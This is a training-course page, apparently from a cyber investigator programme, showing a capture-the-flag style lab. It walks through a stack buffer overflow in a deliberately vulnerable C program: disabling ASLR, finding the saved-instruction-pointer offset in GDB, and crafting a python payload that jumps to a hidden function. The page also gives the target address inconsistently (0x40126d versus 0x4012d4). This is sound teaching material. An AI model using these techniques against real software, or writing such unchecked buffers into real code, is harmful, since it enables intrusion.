{"id":332,"date":"2021-02-26T23:01:24","date_gmt":"2021-02-26T23:01:24","guid":{"rendered":"https:\/\/cas.cybercop-training.ch\/?page_id=332"},"modified":"2021-03-08T15:10:21","modified_gmt":"2021-03-08T15:10:21","slug":"memory-corruption-exploit2","status":"publish","type":"page","link":"https:\/\/cas.cybercop-training.ch\/index.php\/memory-corruption-exploit2\/","title":{"rendered":"Memory Corruption Exploit2"},"content":{"rendered":"<p>In all three challenges you are going to exploit memory corruption vulnerabilities in the program mmchallenge.<\/p>\n<p>If not yet done in Step 1, <strong>download the following ZIP file<\/strong> to your Hacking Lab Live CD, extract, and type make:<\/p>\n<p><a href=\"https:\/\/cas.cybercop-training.ch\/wp-content\/uploads\/2021\/02\/challenge.zip\" class=\"mtli_attachment mtli_zip\">challenge<\/a><\/p>\n<p>If not yet done in Step 1, make sure you <strong>disable ASLR<\/strong> by entering the following line (after every reboot):<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">echo 0 | sudo tee \/proc\/sys\/kernel\/randomize_va_space<\/pre>\n<p>This is the code of the binary with the vulnerabilities we are going to exploit:<\/p>\n<p>mmchallenge.c:<\/p>\n<div class=\"wp-block-codemirror-blocks code-block \">\n<pre class=\"CodeMirror\" data-setting='{\"mode\":\"clike\",\"mime\":\"text\/x-csrc\",\"theme\":\"material\",\"lineNumbers\":true,\"lineWrapping\":true,\"styleActiveLine\":false,\"readOnly\":true,\"align\":\"\"}'>#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n#include &lt;crypt.h&gt;\n#include &lt;string.h&gt;\n\nconst char *adminHash = \"$6$saaaaalty$cjw9qyAKmchl7kQMJxE5c1mHN0cXxfQNjs4EhcyULLndQR1wXslGCaZrJj5xRRBeflfvmpoIVv6Vs7ZOQwhcx.\";\n\nint checkPassword(char *password) {\n    char *hash;\n    hash = crypt(password, \"$6$saaaaalty\");\n\n    if (strcmp(hash, adminHash) == 0) {\n        return 1;\n    } else {\n        return 0;\n    }\n}\n\nvoid flag1(void) {\n        char buf[512];\n        FILE *fp;\n        printf(\"You are admin!\\n\");\n        fp = fopen(\"flag1.txt\", \"r\");\n        fgets(buf, 511, (FILE *) fp);\n        printf(\"Flag1: %s\\n\", buf);\n        fclose(fp);\n}\nvoid flag2(void) {\n        char buf[512];\n        FILE *fp;\n        printf(\"You are superadmin!\\n\");\n        fp = fopen(\"flag2.txt\", \"r\");\n        fgets(buf, 511, (FILE *) fp);\n        printf(\"Flag2: %s\\n\", buf);\n        fclose(fp);\n}\n\/* void flag3(void) {\n   ...\n   fp = fopen(\"flag3.txt\", \"r\");\n   ...\n}*\/\n\nvoid handleUser(void) {\n        printf(\"You are NOT admin.\\n\");\n}\n\nvoid handleData(char *password) {\n    int isAdmin = 0;\n    char msg[128];\n\n    isAdmin = checkPassword(password);\n    sprintf(msg, \"Password: %s\", password);\n\n    printf(\"IsAdmin: 0x%lx\\n\", isAdmin);\n\n    if(isAdmin) {\n        flag1();\n    } else {\n        handleUser();\n        printf(\"%s\\n\", msg);\n    }\n}\n\nint main(int argc, char **argv) {\n    if (argc != 2) {\n        printf(\"Call: %s &lt;password&gt;\\n\", argv[0]);\n        exit(0);\n    }\n    handleData(argv[1]);\n}<\/pre>\n<\/div>\n<p>Get flag 1 in challenge &quot;Memory Corruption &#8211; Step 1 &#8211; <strong>Variable overflow<\/strong> if not done yet!<\/p>\n<h2>Flag 2 Overflow SIP function<\/h2>\n<p>What if we add a little bit more A&#8217;s? Like 144 bytes?<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\">.\/mmchallenge <code>python -c &#039;print &quot;A&quot;*144&#039;<\/code>\nIsAdmin: 0x41414141\nYou are admin!\nFlag1: flag-1\n\nSegmentation fault<\/pre>\n<p>Seems it has crashed with a segmentation fault.<\/p>\n<h2>Overflow Analysis<\/h2>\n<p>Lets analyze the overflow a bit more. We start GDB with the target binary as parameter. The binary will be loaded into GDB and be ready to run. Then we will run it as above with the command run:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\"># gdb -q .\/mmchallenge\ngdb-peda$ run <code>python -c &#039;print &quot;A&quot;*144&#039;<\/code>\nStarting program: \/home\/hacker\/yookiterm-challenges-files\/challenge10\/mmchallenge <code>python -c &#039;print &quot;A&quot;*144&#039;<\/code>\nIsAdmin: 0x41414141\nYou are admin!\nFlag1: dobinflag\n\nProgram received signal SIGSEGV, Segmentation fault.\n[----------------------------------registers-----------------------------------]\nRAX: 0x0\nRBX: 0x0\nRCX: 0x405010 --&gt; 0x0\nRDX: 0x1c\nRSI: 0x1\nRDI: 0x4056d0 --&gt; 0x0\nRBP: 0x4141414141414141 ('AAAAAAAA')\nRSP: 0x7fffffffe3a0 --&gt; 0x7fffffffe4b8 --&gt; 0x7fffffffe6fd (\"\/home\/hacker\/yookiterm-challenges-files\/challenge10\/mmchallenge\")\nRIP: 0x4141 ('AA')\nR8 : 0x0\nR9 : 0x12\nR10: 0xfffffffffffff248\nR11: 0x202\nR12: 0x4010d0 (&lt;_start&gt;:  xor    ebp,ebp)\nR13: 0x0\nR14: 0x0\nR15: 0x0\nEFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)\n[-------------------------------------code-------------------------------------]\nInvalid $PC address: 0x4141\n[------------------------------------stack-------------------------------------]\n0000| 0x7fffffffe3a0 --&gt; 0x7fffffffe4b8 --&gt; 0x7fffffffe6fd (\"\/home\/hacker\/yookiterm-challenges-files\/challenge10\/mmchallenge\")\n0008| 0x7fffffffe3a8 --&gt; 0x2004010d0\n0016| 0x7fffffffe3b0 --&gt; 0x7fffffffe4b0 --&gt; 0x2\n0024| 0x7fffffffe3b8 --&gt; 0x4052a0 --&gt; 0x0\n0032| 0x7fffffffe3c0 --&gt; 0x4013e0 (&lt;__libc_csu_init&gt;:  push   r15)\n0040| 0x7fffffffe3c8 --&gt; 0x7ffff7dd5cca (&lt;__libc_start_main+234&gt;:  mov    edi,eax)\n0048| 0x7fffffffe3d0 --&gt; 0x7fffffffe4b8 --&gt; 0x7fffffffe6fd (\"\/home\/hacker\/yookiterm-challenges-files\/challenge10\/mmchallenge\")\n0056| 0x7fffffffe3d8 --&gt; 0x200000000\n[------------------------------------------------------------------------------]\nLegend: code, data, rodata, value\nStopped reason: SIGSEGV\n0x0000000000004141 in ?? ()<\/pre>\n<p>With RIP: RIP: 0x4141 (&#8218;AA&#8216;)<\/p>\n<p>As we can see, the value of RIP is 0x4141, or AA in ASCII. It seems the CPU wants to continue the execution at an address which is based on our input string (AAAAAAAA&#8230;.)!<\/p>\n<p>Maybe we can call the function flag2(), which actually knowing the password?<\/p>\n<p>We would require the following things for this:<\/p>\n<ul>\n<li>The address of the function flag2()<\/li>\n<li>The location in the input string which gets inserted into SIP\/EIP (offset)<\/li>\n<\/ul>\n<p>We can easily find the address of flag2()<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">gdb-peda$ print &amp;flag2\n$1 = (&lt;text variable, no debug info&gt; *) 0x40126d &lt;flag2&gt;<\/pre>\n<p>It seems our target address is 0x40126d.<\/p>\n<h2>Find the offset<\/h2>\n<p>We will update or python-based argument generator by appending BBBB at the AAAA&#8217;s. As RIP was &quot;AA&quot;, we decrement the offset from 144 to 142.<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\"># python -c 'print \"A\"*142+\"BBBB\"'\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB<\/pre>\n<p>In GDB:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">gdb-peda$ r <code>python -c &#039;print &quot;A&quot;*142+&quot;BBBB&quot;&#039;<\/code>\nStarting program: \/home\/hacker\/yookiterm-challenges-files\/challenge10\/mmchallenge <code>python -c &#039;print &quot;A&quot;*142+&quot;BBBB&quot;&#039;<\/code>\nIsAdmin: 0x41414141\nYou are admin!\nFlag1: dobinflag\n\nProgram received signal SIGSEGV, Segmentation fault.\n[----------------------------------registers-----------------------------------]\n...\nRIP: 0x42424242 ('BBBB')\n...\nStopped reason: SIGSEGV\n0x0000000042424242 in ?? ()<\/pre>\n<p>Bingo! The 4-byte value BBBB is now completely stored in RIP! Therefore the offset to SIP (the stored instruction pointer, which gets loaded into RIP when executing a ret) is 142 bytes. This means we can redirect the execution flow of the target program to any address we want.<\/p>\n<p>Note that the program crashes, because there arent any valid Intel assembler instructions at memory address 0x41414141. If there were &#8211; they would have been just executed.<\/p>\n<h2>Write the exploit<\/h2>\n<p>Lets re-iterate what we know:<\/p>\n<ul>\n<li>The offset in the first input argument to SIP is exactly 142 bytes.<\/li>\n<li>The address of flag2() is 0x40126d<\/li>\n<\/ul>\n<p>The next step is to replace the BBBB (the SIP) with the address of flag2. Note that because of the little-endianness, we have to convert the address. The 64-bit unsigned int 0x40126d is stored as little endian as 0x6d 0x12 0x40 Just read it from back to front, byte by byte.<\/p>\n<p>Lets update our python argument line generator again. We can specify raw bytes in hex by prepending them with \\x. Or in other words, \\x41 = A.<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\"># python -c 'print \"A\"*142+\"\\x6d\\x12\\x40\"' | hexdump -v -C\n00000000  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|\n00000010  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|\n00000020  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|\n00000030  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|\n00000040  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|\n00000050  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|\n00000060  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|\n00000070  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|\n00000080  41 41 41 41 41 41 41 41  41 41 41 41 41 41 6d 12  |AAAAAAAAAAAAAAm.|\n00000090  40 0a                                             |@.|\n00000092<\/pre>\n<p>Not that the bytes in the address are not ASCII-printable, therefore we piped the output into hexdump. You&#8217;ll also see that print added a newline character at the end, byte 0a. This should not be a problem.<\/p>\n<p>Lets replace &quot;BBBB&quot; of our exploit with &quot;\\x6d\\x12\\x40&quot;<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">gdb-peda$ r <code>python -c &#039;print &quot;A&quot;*142+&quot;\\x6d\\x12\\x40&quot;&#039;<\/code>\nStarting program: \/home\/hacker\/yookiterm-challenges-files\/challenge10\/mmchallenge <code>python -c &#039;print &quot;A&quot;*142+&quot;\\x6d\\x12\\x40&quot;&#039;<\/code>\nIsAdmin: 0x41414141\nYou are admin!\nFlag1: flag-1\n\nYou are superadmin!\nFlag2: flag-2\n\nProgram received signal SIGSEGV, Segmentation fault.\n[----------------------------------registers-----------------------------------]\n...<\/pre>\n<p>It seems that the program crashes. But WAIT! It printed You are superadmin! before it crashed! And also Flag 2.<\/p>\n<p>Does that mean that the flag2() was executed? Lets double-check by setting a breakpoint in flag2:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">gdb-peda$ b *flag2\nBreakpoint 1 at 0x4012d4\ngdb-peda$ r <code>python -c &#039;print &quot;A&quot;*142+&quot;\\x6d\\x12\\x40&quot;&#039;<\/code>\nStarting program: \/home\/hacker\/yookiterm-challenges-files\/challenge10\/mmchallenge <code>python -c &#039;print &quot;A&quot;*142+&quot;\\x6d\\x12\\x40&quot;&#039;<\/code>\nIsAdmin: 0x41414141\nYou are admin!\nFlag1: flag-1\n\nBreakpoint 1, 0x000000000040126d in flag2 ()\ngdb-peda$<\/pre>\n<p>Indeed, breakpoint 1 was hit, and we stopped execution in flag2!<\/p>\n<p>Lets check it a third time, this time without gdb:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\"># .\/mmchallenge <code>python -c &#039;print &quot;A&quot;*142+&quot;\\xd4\\x12\\x40&quot;&#039;<\/code>\nIsAdmin: 0x41414141\nYou are admin!\nFlag1: flag-1\n\nYou are superadmin!\nFlag2: flag-2\n\nSegmentation fault<\/pre>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-381\" src=\"https:\/\/cas.cybercop-training.ch\/wp-content\/uploads\/2021\/02\/flag_2.png\" alt=\"\" width=\"1071\" height=\"616\" \/><\/p>\n","protected":false},"excerpt":{"rendered":"<p>In all three challenges you are going to exploit memory corruption vulnerabilities in the program mmchallenge. If not yet done in Step 1, download the following ZIP file to your Hacking Lab Live CD, extract, and type make: challenge If not yet done in Step 1, make sure you disable ASLR by entering the following [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"footnotes":""},"class_list":["post-332","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/cas.cybercop-training.ch\/index.php\/wp-json\/wp\/v2\/pages\/332","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/cas.cybercop-training.ch\/index.php\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/cas.cybercop-training.ch\/index.php\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/cas.cybercop-training.ch\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/cas.cybercop-training.ch\/index.php\/wp-json\/wp\/v2\/comments?post=332"}],"version-history":[{"count":2,"href":"https:\/\/cas.cybercop-training.ch\/index.php\/wp-json\/wp\/v2\/pages\/332\/revisions"}],"predecessor-version":[{"id":519,"href":"https:\/\/cas.cybercop-training.ch\/index.php\/wp-json\/wp\/v2\/pages\/332\/revisions\/519"}],"wp:attachment":[{"href":"https:\/\/cas.cybercop-training.ch\/index.php\/wp-json\/wp\/v2\/media?parent=332"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}